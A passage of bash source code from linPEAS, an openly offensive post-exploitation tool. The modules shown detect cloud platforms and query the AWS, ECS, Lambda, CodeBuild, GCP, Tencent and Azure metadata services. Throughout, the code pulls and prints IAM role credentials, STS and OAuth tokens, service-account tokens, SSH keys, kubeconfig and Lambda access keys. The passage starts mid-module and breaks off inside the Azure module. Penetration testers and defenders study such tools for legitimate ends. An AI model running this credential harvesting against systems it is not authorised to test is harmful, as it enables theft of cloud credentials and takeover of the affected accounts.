http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s/$lipv4/public-ipv4-mode) echo " Mac subnet mask: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s/$lipv4/subnet-mask) done echo "=======" done echo "" print_3title "Service account " "T1552.005,T1580" for sa_tencent in $(eval $tencent_req "http://169.254.0.23/latest/meta-data/cam/security-credentials/"); do echo " Name: $sa_tencent" echo " STS Token: "$(eval $tencent_req "http://169.254.0.23/latest/meta-data/cam/security-credentials/$sa_tencent") echo " ==============" done echo "" print_3title "Possbile admin ssh Public keys" "T1552.005,T1580" for key_tencent in $(eval $tencent_req "http://169.254.0.23/latest/meta-data/public-keys/"); do echo " Name: $key_tencent" echo " Key: "$(eval $tencent_req "http://169.254.0.23/latest/meta-data/public-keys/${key_tencent}openssh-key") echo " ==============" done echo "" print_3title "User Data" "T1552.005,T1580" eval $tencent_req http://169.254.0.23/latest/user-data; echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/3_cloud/1_Check_if_in_cloud.sh ================================================ # Title: Cloud - Check if in cloud # ID: CL_Check_if_in_cloud # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if the current system is inside a cloud environment # License: GNU GPL # Version: 1.0 # Mitre: T1580 # Functions Used: check_aws_codebuild, check_aws_ec2, check_aws_ecs, check_aws_lambda, check_az_app, check_az_vm, check_az_automation_acc, check_do, check_gcp, check_ibm_vm, check_tencent_cvm, print_list # Global Variables: $is_aws_codebuild, $is_aws_ecs, $is_aws_ec2, , $is_aws_lambda, $is_az_app, $is_az_automation_acc, $is_az_vm, $is_do, $is_gcp_vm, $is_gcp_function, $is_ibm_vm, $is_aws_ec2_beanstalk, $is_aliyun_ecs, $is_tencent_cvm # Initial Functions: check_gcp, check_aws_ecs, check_aws_ec2, check_aws_lambda, check_aws_codebuild, check_do, check_ibm_vm, check_az_vm, check_az_app, check_az_automation_acc, check_aliyun_ecs, check_tencent_cvm # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 printf "${YELLOW}Learn and practice cloud hacking techniques in ${BLUE}https://training.hacktricks.xyz\n"$NC echo "" print_list "GCP Virtual Machine? ................. $is_gcp_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," print_list "GCP Cloud Funtion? ................... $is_gcp_function\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," print_list "AWS EC2 Beanstalk? ................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," print_list "AWS Codebuild? ....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," print_list "Azure VM or Az metadata? ............. $is_az_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," print_list "Azure APP or IDENTITY_ENDPOINT? ...... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," print_list "Azure Automation Account? ............ $is_az_automation_acc\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," print_list "Aliyun ECS? .......................... $is_aliyun_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," print_list "Tencent CVM? ......................... $is_tencent_cvm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/3_cloud/2_AWS_EC2.sh ================================================ # Title: Cloud - AWS EC2 # ID: CL_AWS_EC2 # Author: Carlos Polop # Last Update: 22-08-2023 # Description: AWS EC2 Enumeration # License: GNU GPL # Version: 1.0 # Mitre: T1552.005,T1580 # Functions Used: check_aws_ec2, exec_with_jq, print_2title, print_3title # Global Variables: $is_aws_ec2 # Initial Functions: check_aws_ec2 # Generated Global Variables: $aws_req, $HEADER, $URL, $mac, $role, $TOKEN, $TOKEN_HEADER, $TOKEN_TTL # Fat linpeas: 0 # Small linpeas: 1 if [ "$is_aws_ec2" = "Yes" ]; then print_2title "AWS EC2 Enumeration" "T1552.005,T1580" TOKEN="" TOKEN_HEADER="X-aws-ec2-metadata-token" TOKEN_TTL="X-aws-ec2-metadata-token-ttl-seconds: 21600" URL="http://169.254.169.254/latest/meta-data" aws_req="" if [ "$(command -v curl || echo -n '')" ]; then # Get token for IMDSv2 TOKEN=$(curl -s -f -X PUT "http://169.254.169.254/latest/api/token" -H "$TOKEN_TTL" 2>/dev/null) aws_req="curl -s -f -L -H '$TOKEN_HEADER: $TOKEN'" elif [ "$(command -v wget || echo -n '')" ]; then # Get token for IMDSv2 TOKEN=$(wget -q -O - --method=PUT --header="$TOKEN_TTL" "http://169.254.169.254/latest/api/token" 2>/dev/null) aws_req="wget -q -O - --header '$TOKEN_HEADER: $TOKEN'" else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi if [ "$aws_req" ]; then printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo "" printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo "" printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo "" printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" printf "region: "; eval $aws_req "$URL/placement/region"; echo "" echo "" print_3title "Account Info" "T1552.005,T1580" exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" echo "" print_3title "Network Info" "T1552.005,T1580" for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do echo "Mac: $mac" printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" echo "" done echo "" print_3title "IAM Role" "T1552.005,T1580" exec_with_jq eval $aws_req "$URL/iam/info"; echo "" for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do echo "Role: $role" exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo "" echo "" done echo "" print_3title "User Data" "T1552.005,T1580" eval $aws_req "http://169.254.169.254/latest/user-data"; echo "" echo "" print_3title "EC2 Security Credentials" "T1552.005,T1580" exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" print_3title "SSM Runnig" "T1552.005,T1580" ps aux 2>/dev/null | grep "ssm-agent" | grep -Ev "grep|sed s,ssm-agent" | sed "s,ssm-agent,${SED_RED}," fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/3_cloud/3_AWS_ECS.sh ================================================ # Title: Cloud - AWS ECS # ID: CL_AWS_ECS # Author: Carlos Polop # Last Update: 17-01-2026 # Description: AWS ECS Enumeration # License: GNU GPL # Version: 1.0 # Mitre: T1552.005,T1580 # Functions Used: check_aws_ecs, exec_with_jq, print_2title, print_3title # Global Variables: $aws_ecs_metadata_uri, $aws_ecs_service_account_uri, $is_aws_ecs # Initial Functions: check_aws_ecs # Generated Global Variables: $aws_ecs_req, $aws_exec_env, $ecs_task_metadata, $launch_type, $network_modes, $imds_tool, $imds_token, $imds_roles, $imds_http_code, $ecs_block_line, $ecs_host_line, $iptables_cmd, $docker_rules, $first_role # Fat linpeas: 0 # Small linpeas: 1 if [ "$is_aws_ecs" = "Yes" ]; then print_2title "AWS ECS Enumeration" "T1552.005,T1580" aws_ecs_req="" if [ "$(command -v curl || echo -n '')" ]; then aws_ecs_req='curl -s -f' elif [ "$(command -v wget || echo -n '')" ]; then aws_ecs_req='wget -q -O -' else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi if [ "$aws_ecs_metadata_uri" ]; then print_3title "Container Info" "T1552.005,T1580" exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri" echo "" print_3title "Task Info" "T1552.005,T1580" exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task" echo "" else echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info" fi if [ "$aws_ecs_service_account_uri" ]; then print_3title "IAM Role" "T1552.005,T1580" exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri" echo "" else echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)" fi print_3title "ECS task metadata hints" "T1552.005,T1580" aws_exec_env=$(printenv AWS_EXECUTION_ENV 2>/dev/null) if [ "$aws_exec_env" ]; then printf "AWS_EXECUTION_ENV=%s\n" "$aws_exec_env" fi ecs_task_metadata="" if [ "$aws_ecs_metadata_uri" ]; then ecs_task_metadata=$(eval $aws_ecs_req "$aws_ecs_metadata_uri/task" 2>/dev/null) fi if [ "$ecs_task_metadata" ]; then launch_type=$(printf "%s" "$ecs_task_metadata" | grep -oE '"LaunchType":"[^"]+"' | head -n 1 | cut -d '"' -f4) if [ "$launch_type" ]; then printf "ECS LaunchType reported: %s\n" "$launch_type" fi network_modes=$(printf "%s" "$ecs_task_metadata" | grep -oE '"NetworkMode":"[^"]+"' | cut -d '"' -f4 | sort -u | tr '\n' ' ') if [ "$network_modes" ]; then printf "Reported NetworkMode(s): %s\n" "$network_modes" fi else echo "Unable to fetch task metadata (check ECS_CONTAINER_METADATA_URI)." fi echo "" print_3title "IMDS reachability from this task" "T1552.005,T1580" imds_token="" imds_roles="" imds_http_code="" imds_tool="" if command -v curl >/dev/null 2>&1; then imds_tool="curl" elif command -v wget >/dev/null 2>&1; then imds_tool="wget" fi if [ "$imds_tool" = "curl" ]; then imds_token=$(curl -s --connect-timeout 2 --max-time 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) if [ "$imds_token" ]; then printf "[!] IMDSv2 token request succeeded (metadata reachable from this task).\n" imds_roles=$(curl -s --connect-timeout 2 --max-time 2 -H "X-aws-ec2-metadata-token: $imds_token" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" 2>/dev/null | tr '\n' ' ') if [ "$imds_roles" ]; then printf " Instance profile role(s) exposed via IMDS: %s\n" "$imds_roles" first_role=$(printf "%s" "$imds_roles" | awk '{print $1}') if [ "$first_role" ]; then printf " Example: curl -H 'X-aws-ec2-metadata-token: ' http://169.254.169.254/latest/meta-data/iam/security-credentials/%s\n" "$first_role" fi else printf " No IAM role names returned (instance profile might be missing).\n" fi else imds_http_code=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 2 --max-time 2 "http://169.254.169.254/latest/meta-data/" 2>/dev/null) case "$imds_http_code" in 000|"") printf "[i] IMDS endpoint did not respond (likely blocked via hop-limit or host firewalling).\n" ;; 401) printf "[i] IMDS requires v2 tokens but token requests are being blocked (bridge-mode tasks rely on this when hop limit = 1).\n" ;; *) printf "[i] IMDS GET returned HTTP %s (investigate host configuration).\n" "$imds_http_code" ;; esac fi elif [ "$imds_tool" = "wget" ]; then imds_token=$(wget -q -O - --timeout=2 --tries=1 --method=PUT --header="X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token" 2>/dev/null) if [ "$imds_token" ]; then printf "[!] IMDSv2 token request succeeded (metadata reachable from this task).\n" imds_roles=$(wget -q -O - --timeout=2 --tries=1 --header="X-aws-ec2-metadata-token: $imds_token" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" 2>/dev/null | tr '\n' ' ') if [ "$imds_roles" ]; then printf " Instance profile role(s) exposed via IMDS: %s\n" "$imds_roles" else printf " No IAM role names returned (instance profile might be missing).\n" fi else wget --server-response -O /dev/null --timeout=2 --tries=1 "http://169.254.169.254/latest/meta-data/" 2>&1 | awk 'BEGIN{code=""} /^ HTTP/{code=$2} END{ if(code!="") { printf("[i] IMDS GET returned HTTP %s (token could not be retrieved).\n", code); } else { print "[i] IMDS endpoint did not respond (likely blocked)."; } }' fi else echo "Neither curl nor wget were found, I can't test IMDS reachability." fi echo "" print_3title "ECS agent IMDS settings" "T1552.005,T1580" if [ -r "/etc/ecs/ecs.config" ]; then ecs_block_line=$(grep -E "^ECS_AWSVPC_BLOCK_IMDS=" /etc/ecs/ecs.config 2>/dev/null | tail -n 1) ecs_host_line=$(grep -E "^ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=" /etc/ecs/ecs.config 2>/dev/null | tail -n 1) if [ "$ecs_block_line" ]; then printf "%s\n" "$ecs_block_line" if echo "$ecs_block_line" | grep -qi "=true"; then echo " -> awsvpc-mode tasks should be blocked from IMDS by the ECS agent." else echo " -> awsvpc-mode tasks can still reach IMDS (set this to true to block)." fi else echo "ECS_AWSVPC_BLOCK_IMDS not set (awsvpc tasks inherit host IMDS reachability)." fi if [ "$ecs_host_line" ]; then printf "%s\n" "$ecs_host_line" if echo "$ecs_host_line" | grep -qi "=false"; then echo " -> Host-network tasks lose IAM task roles but IMDS is blocked." else echo " -> Host-network tasks keep IAM task roles and retain IMDS access." fi else echo "ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST not set (defaults keep IMDS reachable for host-mode tasks)." fi else echo "Cannot read /etc/ecs/ecs.config (file missing or permissions denied)." fi echo "" print_3title "DOCKER-USER IMDS filtering" "T1552.005,T1580" iptables_cmd="" if command -v iptables >/dev/null 2>&1; then iptables_cmd=$(command -v iptables) elif command -v iptables-nft >/dev/null 2>&1; then iptables_cmd=$(command -v iptables-nft) fi if [ "$iptables_cmd" ]; then docker_rules=$($iptables_cmd -S DOCKER-USER 2>/dev/null) if [ $? -eq 0 ]; then if [ "$docker_rules" ]; then echo "$docker_rules" else echo "(DOCKER-USER chain exists but no rules were found)" fi if echo "$docker_rules" | grep -q "169\\.254\\.169\\.254"; then echo " -> IMDS traffic is explicitly filtered before Docker NAT." else echo " -> No DOCKER-USER rule drops 169.254.169.254 traffic (bridge tasks rely on hop limit or host firewalling)." fi else echo "Unable to read DOCKER-USER chain (missing chain or insufficient permissions)." fi else echo "iptables binary not found; cannot inspect DOCKER-USER chain." fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/3_cloud/4_AWS_Lambda.sh ================================================ # Title: Cloud - AWS Lambda # ID: CL_AWS_Lambda # Author: Carlos Polop # Last Update: 22-08-2023 # Description: AWS Lambda Enumeration # License: GNU GPL # Version: 1.0 # Mitre: T1552.005,T1580 # Functions Used: check_aws_lambda, print_2title # Global Variables: $is_aws_lambda # Initial Functions: check_aws_lambda # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if [ "$is_aws_lambda" = "Yes" ]; then print_2title "AWS Lambda Enumeration" "T1552.005,T1580" printf "Function name: "; env | grep AWS_LAMBDA_FUNCTION_NAME printf "Region: "; env | grep AWS_REGION printf "Secret Access Key: "; env | grep AWS_SECRET_ACCESS_KEY printf "Access Key ID: "; env | grep AWS_ACCESS_KEY_ID printf "Session token: "; env | grep AWS_SESSION_TOKEN printf "Security token: "; env | grep AWS_SECURITY_TOKEN printf "Runtime API: "; env | grep AWS_LAMBDA_RUNTIME_API printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next") echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/3_cloud/5_AWS_Codebuild.sh ================================================ # Title: Cloud - AWS Codebuild # ID: CL_AWS_Codebuild # Author: Carlos Polop # Last Update: 22-08-2023 # Description: AWS Codebuild Enumeration # License: GNU GPL # Version: 1.0 # Mitre: T1552.005,T1580 # Functions Used: check_aws_codebuild, exec_with_jq, print_2title, print_3title # Global Variables: $is_aws_codebuild # Initial Functions: check_aws_codebuild # Generated Global Variables: $aws_req, $METADATA_URL, $CREDS_PATH, $URL_CREDS # Fat linpeas: 0 # Small linpeas: 0 if [ "$is_aws_codebuild" = "Yes" ]; then print_2title "AWS Codebuild Enumeration" "T1552.005,T1580" aws_req="" if [ "$(command -v curl || echo -n '')" ]; then aws_req="curl -s -f" elif [ "$(command -v wget || echo -n '')" ]; then aws_req="wget -q -O -" else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" echo "The addresses are in /codebuild/output/tmp/env.sh" fi if [ "$aws_req" ]; then print_3title "Credentials" "T1552.005,T1580" CREDS_PATH=$(cat /codebuild/output/tmp/env.sh | grep "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | cut -d "'" -f 2) URL_CREDS="http://169.254.170.2$CREDS_PATH" # Already has a / at the begginig exec_with_jq eval $aws_req "$URL_CREDS"; echo "" print_3title "Container Info" "T1552.005,T1580" METADATA_URL=$(cat /codebuild/output/tmp/env.sh | grep "ECS_CONTAINER_METADATA_URI" | cut -d "'" -f 2) exec_with_jq eval $aws_req "$METADATA_URL"; echo "" fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/3_cloud/6_Google_cloud_function.sh ================================================ # Title: Cloud - Google Cloud Function # ID: CL_Google_cloud_function # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Google Cloud Function Enumeration # License: GNU GPL # Version: 1.0 # Mitre: T1552.005,T1580 # Functions Used: check_gcp, print_2title, print_3title, print_info # Global Variables: $is_gcp_function, $GCP_GOOD_SCOPES, $GCP_BAD_SCOPES # Initial Functions: check_gcp # Generated Global Variables: $gcp_req, $p_id, $p_num, $inst_id, $inst_zone, $mtls_info # Fat linpeas: 0 # Small linpeas: 1 if [ "$is_gcp_function" = "Yes" ]; then gcp_req="" if [ "$(command -v curl)" ]; then gcp_req='curl -s -f -L -H "Metadata-Flavor: Google"' elif [ "$(command -v wget)" ]; then gcp_req='wget -q -O - --header "Metadata-Flavor: Google"' else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi # GCP Enumeration if [ "$gcp_req" ]; then print_2title "Google Cloud Platform Enumeration" "T1552.005,T1580" print_info "https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/index.html" ## GC Project Info p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id') [ "$p_id" ] && echo "Project-ID: $p_id" p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id') [ "$p_num" ] && echo "Project Number: $p_num" # Instance Info inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id) [ "$inst_id" ] && echo "Instance ID: $inst_id" mtls_info=$(eval $gcp_req http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration) [ "$mtls_info" ] && echo "MTLS info: $mtls_info" inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone) [ "$inst_zone" ] && echo "Zone: $inst_zone" echo "" print_3title "Service Accounts" "T1552.005,T1580" for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do echo " Name: $sa" echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}email") echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}aliases") echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}identity") echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g" echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}token") echo " ============== " done fi fi ================================================ FILE: linPEAS/builder/linpeas_parts/3_cloud/7_Google_cloud_vm.sh ================================================ # Title: Cloud - Google Cloud VM # ID: CL_Google_cloud_vm # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Google Cloud VM Enumeration # License: GNU GPL # Version: 1.0 # Mitre: T1552.005,T1580 # Functions Used: check_gcp, print_2title, print_3title, print_info # Global Variables: $is_gcp_vm, $GCP_GOOD_SCOPES, $GCP_BAD_SCOPES # Initial Functions: check_gcp # Generated Global Variables: $gcp_req, $p_id, $p_num, $pssh_k, $p_attrs, $osl_u, $osl_g, $osl_sk, $osl_au, $inst_d, $inst_hostn, $inst_id, $inst_img, $inst_mt, $inst_n, $inst_tag, $inst_zone, $inst_k8s_loc, $inst_k8s_name, $inst_k8s_osl_e, $inst_k8s_klab, $inst_k8s_kubec, $inst_k8s_kubenv, $iface # Fat linpeas: 0 # Small linpeas: 1 if [ "$is_gcp_vm" = "Yes" ]; then gcp_req="" if [ "$(command -v curl || echo -n '')" ]; then gcp_req='curl -s -f -L -H "Metadata-Flavor: Google"' elif [ "$(command -v wget || echo -n '')" ]; then gcp_req='wget -q -O - --header "Metadata-Flavor: Google"' else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi if [ "$gcp_req" ]; then print_2title "Google Cloud Platform Enumeration" "T1552.005,T1580" print_info "https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/index.html" ## GC Project Info p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id') [ "$p_id" ] && echo "Project-ID: $p_id" p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id') [ "$p_num" ] && echo "Project Number: $p_num" pssh_k=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys') [ "$pssh_k" ] && echo "Project SSH-Keys: $pssh_k" p_attrs=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true') [ "$p_attrs" ] && echo "All Project Attributes: $p_attrs" # OSLogin Info osl_u=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/users) [ "$osl_u" ] && echo "OSLogin users: $osl_u" osl_g=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/groups) [ "$osl_g" ] && echo "OSLogin Groups: $osl_g" osl_sk=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/security-keys) [ "$osl_sk" ] && echo "OSLogin Security Keys: $osl_sk" osl_au=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/authorize) [ "$osl_au" ] && echo "OSLogin Authorize: $osl_au" # Instance Info inst_d=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/description) [ "$inst_d" ] && echo "Instance Description: " inst_hostn=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/hostname) [ "$inst_hostn" ] && echo "Hostname: $inst_hostn" inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id) [ "$inst_id" ] && echo "Instance ID: $inst_id" inst_img=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/image) [ "$inst_img" ] && echo "Instance Image: $inst_img" inst_mt=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/machine-type) [ "$inst_mt" ] && echo "Machine Type: $inst_mt" inst_n=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/name) [ "$inst_n" ] && echo "Instance Name: $inst_n" inst_tag=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/scheduling/tags) [ "$inst_tag" ] && echo "Instance tags: $inst_tag" inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone) [ "$inst_zone" ] && echo "Zone: $inst_zone" inst_k8s_loc=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-location") [ "$inst_k8s_loc" ] && echo "K8s Cluster Location: $inst_k8s_loc" inst_k8s_name=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-name") [ "$inst_k8s_name" ] && echo "K8s Cluster name: $inst_k8s_name" inst_k8s_osl_e=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/enable-oslogin") [ "$inst_k8s_osl_e" ] && echo "K8s OSLoging enabled: $inst_k8s_osl_e" inst_k8s_klab=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-labels") [ "$inst_k8s_klab" ] && echo "K8s Kube-labels: $inst_k8s_klab" inst_k8s_kubec=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kubeconfig") [ "$inst_k8s_kubec" ] && echo "K8s Kubeconfig: $inst_k8s_kubec" inst_k8s_kubenv=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env") [ "$inst_k8s_kubenv" ] && echo "K8s Kube-env: $inst_k8s_kubenv" echo "" print_3title "Interfaces" "T1552.005,T1580" for iface in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"); do echo " IP: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/ip") echo " Subnetmask: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") echo " Gateway: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/gateway") echo " DNS: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers") echo " Network: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/network") echo " ============== " done echo "" print_3title "User Data" "T1552.005,T1580" echo $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script") echo "" echo "" print_3title "Service Accounts" "T1552.005,T1580" for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do echo " Name: $sa" echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email") echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases") echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity") echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g" echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token") echo " ============== " done fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/3_cloud/8_Azure_VM.sh ================================================ # Title: Cloud - Azure VM # ID: CL_Azure_VM # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Azure VM Enumeration # License: GNU GPL # Version: 1.0 # Mitre: T1552.005,T1580 # Functions Used: check_az_vm, exec_with_jq, print_2title, print_3title # Global Variables: $is_az_vm # Initial Functions: check_az_vm # Generated Global Variables: $API_VERSION, $HEADER, $az_req, $URL # Fat linpeas: 0 # Small linpeas: 1 if [ "$is_az_vm" = "Yes" ]; then print_2title "Azure VM Enumeration" "T1552.005,T1580" HEADER="Metadata:true" URL="http://169.254.169.254/metadata" API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions az_req="" if [ "$(command -v curl || echo -n '')" ]; then az_req="curl -s -f -L -H '$HEADER'" elif [ "$(command -v wget || echo -n '')" ]; then az_req="wget -q -O - --header '$HEADER'" else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi if [ "$az_req" ]; then print_3title "Instance details" "T1552.005,T1580" exec_with_jq eval $az_req "$URL/instance?api-version=$API_VERSION" echo "" print_3title "Load Balancer details" "T1552.005,T1580" exec_with_jq eval $az_req "$URL/loadbalancer?api-version=$API_VERSION" echo "" print_3title "User Data" "T1552.005,T1580" exec_with_jq eval $az_req "$URL/instance/compute/userData?api-version=$API_VERSION\&format=text" | base64 -d 2>/dev/null echo "" print_3title "Custom Data and other configs (root needed)" "T1552.005,T1580" (cat /var/lib/waagent/ovf-env.xml || cat /var/lib/waagent/CustomData/ovf-env.xml) 2>/dev/null | sed "s,CustomData.*,${SED_RED}," echo "" print_3title "Management token" "T1552.005,T1580" print_info "It's possible to assign 1 system MI and several user MI to a VM. LinPEAS can only get the token from the default one. More info in https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/" echo "" print_3title "Graph token" "T1552.005,T1580" print_info "It's possible to assign 